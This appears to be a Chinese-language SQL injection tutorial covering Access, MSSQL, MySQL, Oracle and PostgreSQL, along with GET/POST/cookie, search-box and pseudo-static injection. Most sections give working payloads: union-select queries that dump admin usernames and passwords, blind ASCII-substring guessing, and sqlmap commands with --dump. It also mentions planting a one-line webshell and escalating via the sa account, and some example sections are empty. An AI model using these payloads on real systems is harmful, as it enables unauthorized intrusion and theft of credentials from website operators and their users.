| 
 Access数据库注入:  access数据库由微软发布的关系型数据库(小型的),安全性差。  access数据库后缀名位*.mdb,  asp中连接字符串应用——  “Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass”   Dim conn   Set conn = server.createobject(“adodb.connection”)   conn.open “provider=Microsoft.ACE.OLEDB.12.0;” & “data source = ” & server.mappath(“bbs.mdb”)  
打开此数据库的工具——  破障浏览器,辅臣浏览器  
注入分析—— 判断注入点(判断有没有带入查询) , and 1=1 and 1=2 or 1=1 or 1=2 and 1=23  
查看是否带入查询,如果带入查询了,说明有注入漏洞  
存在注入--判断数据库类型—— and exsits (select * from msysobjects) >0(判断access) and exsits (select * from sysobjects) >0(判断SQL server)  
 
判断数据库表  and exists (select * from admin)(如果不存在admin表,可以试试user或者useradmin)  
带入查询不报错说明有admin表  
and exists (select admin from admin)查询是否有admin字段  
and exists (select password from admin)查询是否有password字段  
判断字段长度 order by 22  
 
报错  and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin(猜解出admin和password的字段长度)  
 
and 1=2 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin(这样就把用户名密码猜解出来了,再去md5解密即可)  
 
示例:sqlmap注入access数据库  
 
 
 
对file表进行猜解  
 
对字段进行猜解  
然后去解密即可  
———————————————————————————————————————  
Mssql(SQL server)数据库注入:(中小型企业) SQL server由微软公司推出的关系型数据库,支持对称多处理器的结构 存储过程,具有自主的sql语言,支持图形化管理工具。 SQL server数据库文件后缀位xxx.mdf,日志文件后缀为xxx_log.ldf 基础语句select * from 表名(查询)        sreate database 库名(创建)          drop database 库明(删除库) 权限——   sa权限:数据库操作,文件管理,命令执行,注册表读取等system   db权限:文件管理,数据库操作等 users-adminstrators   public权限:数据库操作 guest-users  
调用分析——   <% set conn =server.crateobiect(“adodb.connection”) conn.open“provider=sqloledb;source=IP;uid=sa;pwd=xxxxxxxxx;database=xxx” %>  
注入语句:  判断是否有注入—— and (select Count(*) from [表名])>0(猜解表名)   and (select Count(字段名) from 表名)>0(猜测字段)   and (select top 1 len(字段名) from 表名)>0(猜测字段长度)  
初步判断是否是mssql(SQL server)—— and user > 0  
判断数据库系统—— and (select count(*) from sysobiects)> 0 mssql and (select count(*) from msysobiects)> 0 access  
 
实例:(其实建议手工测试,虽然工具跑得快,但是还是手工可以)  用穿山甲测试  
 
可直接写入一句话木马  
 
Sa权限可直接提权  
 
如果命令不生效可先恢复一下spoa换一下类型  
—————————————————————————————————————————  
Mysql数据库注入:(中小型企业)   瑞典推出的关系型数据库,现在已经被甲骨文公司收购,搭配php+apache+mysql  
Mysql函数——  systm_user() 系统用户名  user() 用户名  current_use() 连接数据库的用户名  database() 数据库名  version() MySQL数据库版本  load_file() 转成16进制或者是10进制mysql读取本地文件的函数  @@datadir 读取数据库路径  @@basedir 读取MySQL安装路径  @@version_comoile_os 判断操作系统  
PHP+MySQL链接——  <?php $host=’localhost’; 数据库地址 $database=’sui’; 数据库名称 $user=’root’; 数据库账户 $pass=’’; 数据库密码 $webml=’/0/’; 安装文件夹 ?>  
 判断字段长度——   order by xx   order by 21 正常,order by 22不正常,说明长度为21   union secect 1-18 from information_schema.tables(报出错误)  
示例:(MySQL5.0以上的版本) 先判断是否存在注入,and不行试试其他or之类的,然后判断字段长度  
爆出错误2和3  
在报错位置查询想要的信息 猜解用户名 http://xxxx.xx.com/xxxxx/php?id=-5union secect  1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18from information_schema.tables  
 
猜解数据库名 http://xxxx.xx.com/xxxxx/php?id=-5 union secect 1,database()3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables  
 
猜解表名 http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables  where_schema=0x6469616E(把库名转换成16进制)  
 
爆出表名,爆出来后可以一个一个去尝试  
 
猜解列名 http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.column where_schema=0x797A36F054846172(把表名转换成16进制)  
 
猜解字段 http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(username,0x5c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from yzsoumember(0x5c是一个\的16进制)  
 
爆出管理员账号密码  
 
—————————————————————————————————————————  
 
Oracle数据库注入:(大型企业,政府,金融,证券)  Oracle数据库由美国甲骨文公司推出的,以分布式数据库为核心,是目前世界上使用最广范的数据库管理系统,支持多用户,事物的处理,移植性强。  
Oracle数据库代码分析——     id = request.getParameter(“id”); String strSQL = “select title,content from news where id=” + id; ResultSet rs = strt.executeQuery(strSQL); while(rs.next()) { String title = rs.getString(“time”); String content = rs.getString(“conntent”); Out.print(“<tr><td>”+ title +”<td><tr><tr><td><br/>” + content + “</td></tr>”); }  
 
 
示例: 猜解表名,存在则不报错and (select count(*) from admin)<>0  
 
猜解user列名,存在则不报错and (select count(user) from admin)<>0  
 
猜解pwd列名,存在则不报错and (select count(pwd) from admin)<>0  
 
判断长度and (select count(*) from admin where length(name)>=5)=1(length()函数用于字符串长度,此处猜测用户名长度和5比较,意思就是猜测是否由5个字符组成)  
 
猜解第一个位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1(substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a)  
猜解第二位and (select count(*) from admin where length(name)>=5)=1 and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1(重复以上操作,去配对ascii码表,可以判断账号为admin)  
 
相同方式猜解密码;and (select count(*) from admin where length(pwd)>=8)=1 返回正常,密码长度为8  
 
 猜解第一位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符为a)  
 
 猜解第一位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符为a)(重复以上操作,去配对ascii码表,可以判断账号为admin888)  
 
 ascii表  
 
测试登陆  
———————————————————————————————————————  
Postgresql注入:(国内用的比较少)  
示例:  
 
 
 
 
 
插马——  
 
写文件——  
 ——————————————————————————————————————————————————  
提交方式注入:  Get——  
 Post——  
 判断方式——   在登陆框键入 ‘or’=1   示例:(穿山甲跑) 加载表单  
 
把后台地粘贴上,开始跑  
 
加载表单  
 
它会默认把表单提交到根路劲,需要把它改成登陆路劲  
 
Sqlmap跑—— 示例: 加上根目录路径,然后在往下操作  
Cookie—— cookie提交用于账号密码的cookie缓存,还可以通过cookie注入来突破简单的防注入系统  示例:  
 
 
———————————————————————————————————————  
搜索框注入:  使用的工具——burpsuite,sqlmap  思路——先使用burp抓搜索包,把抓到的包保存到xx.txt文件里,然后用sqlmap跑  
 示例:sqlmap -r xx.txt --tables(猜表名)        sqlmap -r xx.txt --columns -T “admin”(猜列名)        sqlmap -r xx.txt --C “admin,password” -T “manager” --dump -v 2(列内容)  
找到搜索框  
 抓包  
再跑sqlmap  
————————————————————————————————————————————————  
伪静态注入:   网站管理员耍小聪明,看着是静态页面,其实是动态页面  
判断——  
示例——  
 |